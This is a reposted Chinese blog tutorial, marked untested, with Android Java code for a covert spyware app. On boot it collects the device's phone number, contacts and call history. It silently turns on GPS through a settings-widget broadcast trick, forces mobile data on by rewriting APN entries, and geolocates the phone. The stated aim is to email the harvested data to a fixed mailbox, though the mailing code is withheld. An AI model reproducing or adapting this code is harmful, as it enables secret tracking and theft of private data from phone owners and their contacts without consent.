本文转自http://erwin-king.iteye.com/blog/1240646
自己整理了下,未测试,主要是方便自己的学习
整个程序的大概思路是这样的
手机开始时:
1、获取手机联系人信息、通话记录、手机号码
2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地
3、检查手机网络开关,关闭则开启
4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太多这里就不贴出来了,有需要的联系我)
5、手机网络还原到初始状态、关闭gps(尚未实现,有实现的朋友可以一起研究一下)
添加权限
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
下面我们就按部就班来实现我们的想法:
1、获取联系人、电话号码、通话记录:
/** * 获取本机号码 * @param context * @return */ public static String getLocalNumber() { TelephonyManager mTelephonyMgr; mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); return mTelephonyMgr.getLine1Number(); } /** * 获取联系人 * @param context * @return */ public static String getContact(){ ContentResolver cr = context.getContentResolver(); //取得电话本中开始一项的光标 Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); String string =""; while (cursor.moveToNext()) { // 取得联系人名字 int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME); String name = cursor.getString(nameFieldColumnIndex); string += ("联系人:"+name+", 电话号码:"); // 取得联系人ID String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)); Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId, null, null); // 取得电话号码(可能存在多个号码) int i=0; while (phone.moveToNext()) { String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); if(i==0){ string += (strPhoneNumber); }else{ string += ("," + strPhoneNumber); } i++; } string += "\n"; phone.close(); System.out.println("persion:"+string); } cursor.close(); return string; } /** *获取通话记录 */ public static List<Call> getCallList() { List<Call> callList = new ArrayList<Call>(); int type; Date date; String time = ""; String telName = ""; String telNo = ""; ContentResolver cr = context.getContentResolver(); final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI, new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME, CallLog.Calls.TYPE, CallLog.Calls.DATE, CallLog.Calls.DURATION }, null, null, CallLog.Calls.DEFAULT_SORT_ORDER); for (int i = 0; i < cursor.getCount(); i++) { Call call = new Call(); cursor.moveToPosition(i); telName = cursor.getString(1); telNo = cursor.getString(0); type = cursor.getInt(2); SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); date = new Date(Long.parseLong(cursor.getString(3))); time = sfd.format(date); // call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4)))); // String callDate = getdays(Long.parseLong(cursor.getString(3))); if (telName != null) { call.setName(telName); } else { call.setName("未知联系人"); } call.setNumber(telNo); call.setTime(time); if (CallLog.Calls.INCOMING_TYPE == type) { call.setType("接听"); } else if (CallLog.Calls.OUTGOING_TYPE == type) { call.setType("拨出"); } else if (CallLog.Calls.MISSED_TYPE == type) { call.setType("未接"); } callList.add(call); } return callList; } private String formatDuring(long mss) { long hours = mss / (60 * 60); long minutes = (mss % (1000 * 60 * 60)) / 60; long seconds = (mss % (1000 * 60)); return hours + ":" + minutes + ":" + seconds; } private String getdays(long callTime) { String value = ""; long newTime = new Date().getTime(); long duration = (newTime - callTime) / (1000 * 60); if (duration < 60) { value = duration + "分钟前"; } else if (duration >= 60 && duration < DAY) { value = (duration / 60) + "小时前"; } else if (duration >= DAY && duration < DAY * 2) { value = "昨天"; } else if (duration >= DAY * 2 && duration < DAY * 3) { value = "前天"; } else if (duration >= DAY * 7) { SimpleDateFormat sdf = new SimpleDateFormat("M月dd日"); value = sdf.format(new Date(callTime)); } else { value = (duration / DAY) + "天前"; } return value; } /** *实体类 */ public class Call { private String name; private String number; private String time; private String type; }
1.apn实现
static Uri uri = Uri.parse("content://telephony/carriers"); static Context context; public APNUtils(Context context){ this.context=context; } /** * 检查网络 * @return */ public static boolean checkNet() { boolean flag = false; ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); if (cwjManager.getActiveNetworkInfo() != null) { flag = cwjManager.getActiveNetworkInfo().isAvailable(); } return flag; } /** * 打开网络 */ public static void openAPN() { List<APN> list = getAPNList(); for (APN apn : list) { ContentValues cv = new ContentValues(); cv.put("apn", APNMatchUtils.matchAPN(apn.apn)); cv.put("type", APNMatchUtils.matchAPN(apn.type)); context.getContentResolver().update(uri, cv, "_id=?", new String[] { apn.id }); } } /** * 关闭网络 */ public static void closeAPN() { List<APN> list = getAPNList(); for (APN apn : list) { ContentValues cv = new ContentValues(); cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev"); cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev"); context.getContentResolver().update(uri, cv, "_id=?", new String[] { apn.id }); } } private static List<APN> getAPNList() { String tag = "Main.getAPNList()"; // current不为空表示可以使用的APN String projection[] = { "_id,apn,type,current" }; Cursor cr = context.getContentResolver().query(uri, projection, null, null, null); List<APN> list = new ArrayList<APN>(); while (cr != null && cr.moveToNext()) { Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + " " + cr.getString(cr.getColumnIndex("apn")) + " " + cr.getString(cr.getColumnIndex("type")) + " " + cr.getString(cr.getColumnIndex("current"))); APN a = new APN(); a.id = cr.getString(cr.getColumnIndex("_id")); a.apn = cr.getString(cr.getColumnIndex("apn")); a.type = cr.getString(cr.getColumnIndex("type")); list.add(a); } if (cr != null) cr.close(); return list; }
public static String getCityNameByGps() { LocationManager lm = (LocationManager) context .getSystemService(Context.LOCATION_SERVICE); Criteria criteria = new Criteria(); criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度 criteria.setAltitudeRequired(false); // 不要求海拔信息 criteria.setBearingRequired(false); // 不要求方位信息 criteria.setCostAllowed(true); // 是否允许付费 criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗 String provider = lm.getBestProvider(criteria, true); // 获取GPS信息 Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置 updateToNewLocation(location); // 设置监听器,自动更新的最小时间为间隔N秒(1秒为1*1000,这样写主要为了方便)或最小位移变化超过N米 LocationListener locationListener = new LocationListener() { @Override public void onLocationChanged(Location location) { updateToNewLocation(location); } @Override public void onProviderDisabled(String provider) { // TODO Auto-generated method stub } @Override public void onProviderEnabled(String provider) { // TODO Auto-generated method stub } @Override public void onStatusChanged(String provider, int status, Bundle extras) { } }; // lm.requestLocationUpdates(provider, 3000, 1, locationListener); return addressString; } /** * * [功能描述]. * * @param location * [参数说明] * @createTime 2011-10-11 下午03:22:21 */ public static void updateToNewLocation(Location location) { // System.out.println("begin updateLocation****"); if (location != null) { // System.out.println("location is null"); double lat = location.getLatitude(); double lon = location.getLongitude(); // System.out.println("get lattitude from GPS ===>" + lat); // System.out.println("get Longitude from GPS ===>" + lon); // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon); StringBuilder sb = new StringBuilder(); Geocoder gc = new Geocoder(context, Locale.getDefault()); try { List<Address> addresses = gc.getFromLocation(lat, lon, 1); if (addresses.size() > 0) { Address address = addresses.get(0); // for (int i = 0; i < address.getMaxAddressLineIndex(); // i++) { sb.append(address.getAddressLine(1)).append("\n"); // sb.append(address.getLocality()).append("\n"); // sb.append(address.getCountryName()).append("\n"); addressString = sb.toString(); // } } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); addressString = "未知地区"; } } // System.out.println("end updateLocation****"); } /** * 获取GPS状态 * * @param context * @return */ public static boolean getGPSState() { LocationManager locationManager = (LocationManager) context .getSystemService(Context.LOCATION_SERVICE); // 判断GPS模块是否开启,如果没有则开启 if (!locationManager .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) { return false; } else { return true; } } public static void openGPS() { LocationManager locationManager = (LocationManager) context .getSystemService(Context.LOCATION_SERVICE); if (!locationManager .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) { Intent gpsIntent = new Intent(); gpsIntent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); gpsIntent.addCategory("android.intent.category.ALTERNATIVE"); gpsIntent.setData(Uri.parse("custom:3")); try { PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send(); } catch (CanceledException e) { e.printStackTrace(); } } }